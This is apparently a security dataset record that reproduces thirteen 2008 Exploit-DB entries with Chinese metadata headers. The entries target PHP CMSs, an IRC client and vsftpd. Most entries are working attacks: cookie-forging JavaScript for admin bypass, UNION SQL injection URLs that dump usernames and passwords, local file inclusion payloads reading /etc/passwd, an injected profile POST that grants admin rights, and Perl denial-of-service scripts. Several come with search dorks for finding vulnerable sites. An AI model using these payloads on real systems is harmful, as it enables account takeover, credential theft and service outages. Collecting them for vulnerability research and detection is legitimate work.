QLWD/code_shield huggingface dataset:
标题: SH-News 3.0 - Insecure Cookie Handling EDB-ID: 5829 CVE: 2008-6664 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-15 漏洞利用脚本: ########################################################################
             #                                                                      #
             #  ...:::::SH-News 3.0 Insecure Cookie Handling Vulnerability ::::.... #          
             ########################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in action.php:
line 66: $shuser = $HTTP_COOKIE_VARS[shuser];
line 67: $shpass = $HTTP_COOKIE_VARS[shpass];
...
line 69: if((!$shuser) || (!$shpass)) { header("Location: login.php"); }
---
exploit:
javascript:document.cookie = "shuser=1; path=/"; document.cookie = "shpass=1; path=/";
-----
now you can access to action.php whit admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-15] URL: https://www.exploit-db.com/exploits/5829
标题: Dana IRC 1.3 - Remote Buffer Overflow (PoC) EDB-ID: 5817 CVE: 2008-2922 类型: DOS 平台: WINDOWS 发布日期: 2008-06-14 漏洞利用脚本: - Dana IRC <= 1.3 Remote Buffer Overflow POC/Crash -

 Discovered On: 14 JUNE 2008
 Discovered By: t0pP8uZz

 Download: diebestenbits.de


 - Info -

 Dana Irc client suffers from a remote buffer overflow, sending a buffer of around 2k
 overwrites the EIP therefor crashes the client. The reason why there isnt any shellcode here
 is because the client is coverting the junk/buffer data to unicode so its corrupting the shellcode
 ive tried sending unicode buffer but the same problem occurs.
 
 if anyone else can get further please let me know. but i doubt you can.

 there are also other registers you can overwrite using diffrent junk data to overflow them.

 the peice of perl code below will listen on port 6667 and when a Dana IRC client connects
 it will crash the client. its also possible to send the data direct to the user.

 peace, t0pP8uZz

#!/usr/bin/perl

use IO::Socket;

$sock = IO::Socket::INET->new( Proto => 'tcp', LocalPort => '6667', Listen => SOMAXCONN, Reuse => 1 );

$jnk = "%n"x1000;
print "Running..";
while($client = $sock->accept()) {
    print $client "$jnk\r\n";
    print "Crashed Client!\n";
}

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5817
标题: xeCMS 1.0.0 RC2 - Insecure Cookie Handling EDB-ID: 5818 CVE: 2008-6714 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+           xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability      +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 18 MAY 2008
[*] Script Download: http://downloads.sourceforge.net/phpforume
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 xeCMS suffers from a insecure cookie, the admin panel only checks if the cookie exists.
 and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

 javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";



[*] NOTE/TIP: 

 after running the javascript, visit "/admin.php" to view admin area.
 
 you can also upload a shell thru the admin area's upload feature.



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 

 t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+           xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability      +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5818
标题: Advanced Webhost Billing System (AWBS) 2.7.1 - 'news.php' SQL Injection EDB-ID: 5823 CVE: 2008-2903 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-15 漏洞利用脚本: #########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## AWBS  Versions ( 2.3.3 - v2.5.0 - v2.6.3 - 2.7.0 - V2.7.1 )  (( news.php viewnews ))
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script   : AWBS
##
## Versions : ( 2.3.3 - v2.5.0 - v2.6.3 - 2.7.0 - V2.7.1 )
##
##  Site    : www.awbs.com
##
########################
########################
########################
########################
##
##    d0rk :  allinurl: "news.php?viewnews"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##              news.php?viewnews=-1'+union+select+1,2,username,password,5,6,7+from+users/*
##
##
##  -(:: L!VE DEMO ::)-
##
##     www.awbsdemo.com/news.php?viewnews=1
##
########################
########################
  -(:: N0te ::)-
  All the versions have same exploit and all the sites web hosting :))        
  (( Passwords => MD5 ))
######################################################################################################
######################################################################################################
                                   -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
######################################################################################################
######################################################################################################

# milw0rm.com [2008-06-15] URL: https://www.exploit-db.com/exploits/5823
标题: PHPEasyNews 1.13 RC2 - 'POST' SQL Injection EDB-ID: 5820 CVE: 2008-2823 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+     PHPEasyNews <= 1.13 RC2 SQL Injection Vulnerabilitys              +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 4 JUNE 2008
[*] Script Download: http://brettjenkins.co.uk
[*] DORK: "PHPeasynews"  (no stable dork, diff versions use diff text)



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 PHPEasyNews suffers from a insecure mysql query, this allows the remote attacker to
 arbitrary pull information from the database. thus allowing to login has admin,
 and possibly gaining a shell.

 the injection returns multi data, so it will show all users, the first is normally the admin.



[*] SQL Injection:

 http://site.com/newsarchive.php?post=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6/**/FROM/**/pen_users/*



[*] NOTE/TIP: 

 admin login is at "admin.php"

 all passwords are encrypted in MD5.



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 

 t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+     PHPEasyNews <= 1.13 RC2 SQL Injection Vulnerabilitys              +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5820
标题: vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption EDB-ID: 5814 CVE: 2007-5962 类型: DOS 平台: LINUX 发布日期: 2008-06-14 漏洞利用脚本: #!/usr/bin/perl -w


#######################################################################################
#  vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#  Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#  Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#  option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#  I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
#   Author shall not bear any responsibility
#  Author: Praveen Darshanam
#  Email: praveen[underscore]recker[at]sify.com
#  Date: 07th June, 2008
#
#
########################################################################################


use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5814
标题: Anata CMS 1.0b5 - 'change.php' Arbitrary Add Admin EDB-ID: 5824 CVE: 2008-6665 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-15 漏洞利用脚本: ===============================================
  Anata CMS 1.0b5 Arbitrary Add-Admin Exploit 
===============================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Ananta CMS
 VERSION     : 1.0 BETA 5
 VENDOR      : http://www.anantasoft.com
 DOWNLOAD    : http://downloads.sourceforge.net/ananta
#####################################################

---Add-Admin Exploit---

***magic_quotes_gpc = off***

-------------
 Description
-------------

 Anata CMS 1.0b5 have Vulnerability to escalate user to administartor's privilege.
That Vulnerable in "Change Profile Sections" (http://[Target]/[ananta_path]/change.php) 
and you can injection code into form,This action will give your account can use Admin Control Panel (http://[Target]/[ananta_path]/admin/index.php?Menus)
with Administrative's Privilege.

-----------------
 Vulnerable Path
-----------------
[+] http://[Target]/[ananta_path]/change.php

--------------
 Exploit code 
--------------
[+] hacked@nasa',`activate`='',`active`='1',`admin`='2

-----
 POC 
-----

[+] POST http://192.168.24.25/ananta/change.php HTTP/1.1
[+] Host: 192.168.24.25
[+] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+] Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+] Accept-Language: en-us,en;q=0.5
[+] Accept-Encoding: gzip,deflate
[+] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+] Keep-Alive: 300
[+] Proxy-Connection: keep-alive
[+] Referer: http://192.168.24.25/ananta/change.php
[+] Cookie: my_forums_read=a%3A1%3A%7Bi%3A2%3Bi%3A1213371672%3B%7D; SESSf8957b3b4f8e7726a55030f2edf0908f=b4accdd2e21350171a6f7770b7c01ea1; my_topicsRead=a%3A2%3A%7Bi%3A1%3Bi%3A1213371648%3Bi%3A2%3Bi%3A1213371760%3B%7D; fusion_visited=yes; PHPSESSID=b5a2857e687d69984cc6a38feb7a4a70
[+] Content-Type: application/x-www-form-urlencoded
[+] Content-length: 108
[+]
[+] name=test&pass=test&controle=test&email=hacked@nasa',`activate`='',`active`='1',`admin`='2&showemail=on&save=Save&table=users&number=4&active=1

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-15] URL: https://www.exploit-db.com/exploits/5824
标题: Devalcms 1.4a - 'currentfile' Local File Inclusion EDB-ID: 5822 CVE: 2008-2913 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-15 漏洞利用脚本: =====================================================
  Devalcms  1.4a Local File Inclusion Vulnerability
=====================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008
SITE   : www.citec.us


#####################################################
APPLICATION : Devalcms
VERSION     : 1.4a
DOWNLOAD    : http://downloads.sourceforge.net/devalcms
#####################################################

--- LFI ---

** magic_quotes_gpc = Off **

-------------------------
 Vulnerable in func.php
-------------------------
@Line 
   
   13:  $myfile = $gv_folder_data . $currentpath . "/" . $myfile;
   14:
   15:  if(is_file($myfile)){
   16:   include($myfile);
   17:  } else {
   18:          echo "not found";
   19:  }
    .
    .
    .
   98: function mystriprelative($mytext)
   99: {
  100: $mytext2 = $mytext;
  101: $mytext2 = str_replace("/..","",$mytext2);
  102: $mytext2 = str_replace("\\..","",$mytext2);
  103: $mytext2 = str_replace("../","",$mytext2);
  104: $mytext2 = str_replace("..\\","",$mytext2);
  105: return $mytext2; 
  106: }
   
-------------------------
 Detail of vulnerability
-------------------------
    Function mystriprelative is a function to prevent user from inserting relative path into variable.
As the code above, you can bypass this fuction by something like following

Simple Algorithm:

[+] When we use ".../...//" Function will convert to "../"
[+] When we use "./.....//" Function will convert to "../"
[+] When we use ".../...//./.....//" Function will convert to "../../"

    So we must use ".../...//./.....//./.....//etc/passwd%00" Function will convert to "../../../etc/passwd%00"

-------------
 POC Exploit
-------------

For Windows:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//boot.ini%00

For Linux:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//etc/passwd%00

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-15] URL: https://www.exploit-db.com/exploits/5822
标题: ezcms 1.2 - Blind SQL Injection / Authentication Bypass EDB-ID: 5819 CVE: 2008-2921 2008-2920 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+         EZCMS <= 1.2 Multiple Remote Vulnerabilitys              +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 19 MAY 2008
[*] Script Download: http://eztechhelp.com
[*] DORK google/altavista: "Powered by EZCMS"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 EZCMS (all versions prior to date) suffers from 2 remote vulnerabilitys.
 
 One of these being a BLIND Sql Injection in "index.php" and the "page" variable is injectable.
 see example below.

 The second one being a insecure filemanager, the filemanager is hidden away in admin, the devs
 probarly thought no one would find it.. but here i am telling you  ;)  
 see more below.



[*] Blind SQL Injection:

 http://site.com/index.php?page=1 and 1=1
 http://site.com/index.php?page=1 and 1=2



[*] Arbitrary Remote File Manager Access:

 http://site.com/ezcms/admin/filemanager/



[*] NOTE/TIP: 

 no exploit coded for the blind injection, because no point due to you can get a easy shell
 through the file manager, althou if your curious, use SQLMap. (check sourceforge)

 the "File Manager" is a very easy to use bug, just browse to site.com/ezcms/admin/filemanager/
 site.com being the actual site and you can upload/edit/delete/upload/move  files/folders.



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, CipherCrew !



[-] peace, 

 t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+         EZCMS <= 1.2 Multiple Remote Vulnerabilitys              +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5819
标题: Alstrasoft AskMe Pro 2.1 - Multiple SQL Injections EDB-ID: 5821 CVE: 2008-2902 2008-2857 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+    AlstraSoft AskMe Pro <= 2.1 SQL Injection Vulnerabilitys      +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 10 JUNE 2008
[*] Script Download: http://alstrasoft.com/askme.htm
[*] DORK: "Powered By AlstraSoft AskMe Pro"



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 AskMe Pro suffers from a insecure mysql query, this allows the remote attacker to view
 all users and there plaintext passwords.

 the injection is multirow so it should show all users on one page.



[*] SQL Injection:

 multi-row: http://site.com/forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10/**/FROM/**/expert/*
 normal:    http://site.com/profile.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/FROM/**/expert/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

 admin login is at /admin/
 passwords are in plaintext


[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, CipherCrew, Offensive-Security.com !



[-] peace, 

 t0pP8uZz



-[*]+================================================================================+[*]-
-[*]+    AlstraSoft AskMe Pro <= 2.1 SQL Injection Vulnerabilitys      +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5821
标题: Family Connections CMS 1.4 - Multiple SQL Injections EDB-ID: 5811 CVE: 2008-2901 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: ==========================================================================
 Family Connections CMS 1.4 Multiple Remote SQL Injection Vulnerabilities
==========================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE : 14 June 2008
SITE : www.citec.us


#####################################################
APPLICATION : Family Connections CMS
VERSION     : 1.4
DOWNLOAD    : http://downloads.sourceforge.net/fam-connections
#####################################################

+++ Multiple Remote SQL Injection Exploit +++

    First you must register for access to user section then SQL Injection Exploit !!!

----------
 Exploits
----------
[+] /addressbook.php?address=<SQL Injection>
[+] /familynews.php?getnews=<SQL Injection>&newsid=2
[+] /home.php?action=results&poll_id=<SQL Injection>

--------------
 POC Exploits
--------------
[+] http://192.168.24.25/fcms/addressbook.php?address=1/**/UNION/**/SELECT/**/1,2,password,username,5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/fcms_users
[+] http://192.168.24.25/fcms/familynews.php?getnews=-9999/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19/**/FROM/**/fcms_users&newsid=2
[+] http://192.168.24.15/fcms/home.php?action=results&poll_id=-9999/**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/fcms_users--


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5811
标题: SHOUTcast Admin Panel 2.0 - 'page' Local File Inclusion EDB-ID: 5813 CVE: 2008-2814 2008-2813 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: ============================================================
 Shoutcast Admin Panel 2.0 Local File Inclusion Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 14 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : WallCity-Server: Shoutcast Admin Panel
 VERSION     : 2.0
 DOWNLOAD    : http://downloads.sourceforge.net/shoutcastadmin
#####################################################

---LFI---

-------------------------
 Vulnerable in index.php
-------------------------

@Line

    79: if (isset($_GET['page']))
    80:         $page = $_GET['page'];
    81: else
    82:  $page = "main";
    .
    .
    .
   204:  <?PHP if(!include("pages/".$page.".php"))
   205:  {
   206:   table("Achtung!");
   207:   echo "Die Seite existiert nicht!"; 
   208:   closetable();
   209:  }
   210:  ?>

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/wallcity/index.php?page=../../../../../../etc/passwd%00


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5813
标题: PHPMyCart 1.3 - 'cat' SQL Injection EDB-ID: 5812 CVE: 2008-2904 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: ######################
#
#PHPMyCart Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#Script suffers from a not correctly verified category id variable which is used in SQL Querys.
#An Attacker can easily get sensitive information from the database by
#injecting unexpected SQL Querys.
#
#We dont get any SQL Errors when the Injection Query appear to be false.
#However we have to look for content changing when we inject.
#Look at AND 1=1/AND 1=0
#All rows are echoed on the left side.
#
#SQL Injection:
#http://[target]/[path]/shop.php?cat=[SQL]
#
#PoC:
#shop.php?cat=2%20and%201=0%20union%20select%201,concat(name,0x3a,login,0x3a,@@VERSION,0x3a,user(),0x3a,database())%20from%20user
#
#######################
#
#Greetz to b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team!
#
#######################
####################### 

# milw0rm.com [2008-06-14] URL: https://www.exploit-db.com/exploits/5812